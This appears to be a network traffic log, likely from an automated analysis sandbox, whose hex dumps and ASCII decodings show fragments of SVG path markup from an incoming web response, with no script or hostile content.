2023-07-27 19:54:37 UTC	6277	IN	Data Raw: 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 37 38 2e 32 35 2c 32 34 36 2e 35 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 37 38 2c 32 33 38 2e 38 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 Data Ascii: "/><path class="cls-7" d="M678.25,246.56a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M678,238.84a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1.05,2.66,2
2023-07-27 19:54:37 UTC	6293	IN	Data Raw: 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 39 36 2e 38 31 2c 39 39 2e 31 35 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e Data Ascii: a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M696.81,99.15a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.
2023-07-27 19:54:37 UTC	6309	IN	Data Raw: 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 33 30 2e 37 38 2c 31 37 35 2e 32 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 Data Ascii: 1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M730.78,175.26a1.91,1.91,0,0,1-.87,2.48,2.78,2.78,0,0,1-3.71-1.05,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"/><path class="
2023-07-27 19:54:37 UTC	6325	IN	Data Raw: 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 34 2e 37 35 2c 32 35 31 2e 33 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 34 2e 34 39 2c 32 34 33 2e 36 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 Data Ascii: 22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M764.75,251.36a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M764.49,243.64a1.92,1.92,0,0,1-.87,2.49
2023-07-27 19:54:37 UTC	6341	IN	Data Raw: 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 35 33 2e 34 32 2c 32 35 39 2e 35 34 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d Data Ascii: .13-1.36,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M653.42,259.54a2.16,2.16,0,0,1-1.1,2.75,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M
2023-07-27 19:54:37 UTC	6357	IN	Data Raw: 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 38 38 2e 31 35 2c 33 32 30 2e 36 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 Data Ascii: -4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M688.15,320.61a2.15,2.15,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9"
2023-07-27 19:54:37 UTC	6373	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 32 2e 38 39 2c 33 38 31 2e 36 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 33 2c 33 37 33 61 32 2e 31 36 Data Ascii: ,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M722.89,381.68a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M723,373a2.16
2023-07-27 19:54:37 UTC	6389	IN	Data Raw: 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 36 32 2c 34 34 32 2e 37 36 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 37 2c 34 33 34 2e 30 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c Data Ascii: ,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M757.62,442.76a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M757.7,434.08a2.15,2.15,0,0,1-1.09,2.75,
2023-07-27 19:54:37 UTC	6405	IN	Data Raw: 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 2c 32 36 30 2e 37 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 38 2c 32 35 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c Data Ascii: 2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M785.7,260.71a2.15,2.15,0,0,1-1.09,2.75,3.15,3.15,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M785.78,252a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,
2023-07-27 19:54:37 UTC	6421	IN	Data Raw: 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 34 34 2c 33 32 31 2e 37 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 35 31 2c 33 31 33 2e 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 Data Ascii: ath class="cls-9" d="M820.44,321.78a2.16,2.16,0,0,1-1.1,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M820.51,313.1a2.15,2.15,0,0,1-1.09,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.7
2023-07-27 19:54:37 UTC	6437	IN	Data Raw: 22 4d 38 35 35 2e 31 37 2c 33 38 32 2e 38 36 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 35 35 2e 32 35 2c 33 37 34 2e 31 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c Data Ascii: "M855.17,382.86a2.15,2.15,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M855.25,374.18a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,
2023-07-27 19:54:37 UTC	6453	IN	Data Raw: 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 39 30 2c 34 33 35 2e 32 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 2f 3e 3c 70 61 74 Data Ascii: .1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.8-3.58,2.8,2.8,0,0,1,3.61.2,2.64,2.64,0,0,1,0,3.57"/><path class="cls-9" d="M890,435.25a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.63,2.63,0,0,1,0,3.57"/><pat
2023-07-27 19:54:37 UTC	6469	IN	Data Raw: 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 38 2e 30 36 2c 32 35 33 2e 32 31 41 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2c 39 31 37 2c 32 35 36 61 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 Data Ascii: 0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M918.06,253.21A2.15,2.15,0,0,1,917,256a3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3
2023-07-27 19:54:37 UTC	6485	IN	Data Raw: 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 35 32 2e 38 2c 33 31 34 2e 32 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 Data Ascii: ,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M952.8,314.28a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.8-3.58,2.8,2.8,0,0,1,3.61.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9
2023-07-27 19:54:37 UTC	6501	IN	Data Raw: 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 2e 35 38 2c 32 35 31 2e 36 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 2e 32 38 2c 32 34 32 2e 38 35 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 Data Ascii: 2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M59.58,251.63a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M59.28,242.85a2.18,2.18,0,0
2023-07-27 19:54:37 UTC	6517	IN	Data Raw: 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 39 37 2c 33 30 33 2e 30 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d Data Ascii: 8,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M97,303.09a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-
2023-07-27 19:54:37 UTC	6533	IN	Data Raw: 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 31 37 2e 35 36 2c 31 31 37 2e 38 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 31 37 2e 32 36 2c 31 30 39 2e 30 35 61 32 2e 31 38 2c 32 2e 31 38 2c Data Ascii: 6,2.86,2.86,0,0,1,3.67,0,2.67,2.67,0,0,1,.19,3.61"/><path class="cls-7" d="M117.56,117.83a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M117.26,109.05a2.18,2.18,
2023-07-27 19:54:37 UTC	6549	IN	Data Raw: 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 35 35 2e 33 31 2c 31 37 38 2e 30 38 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2c 30 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 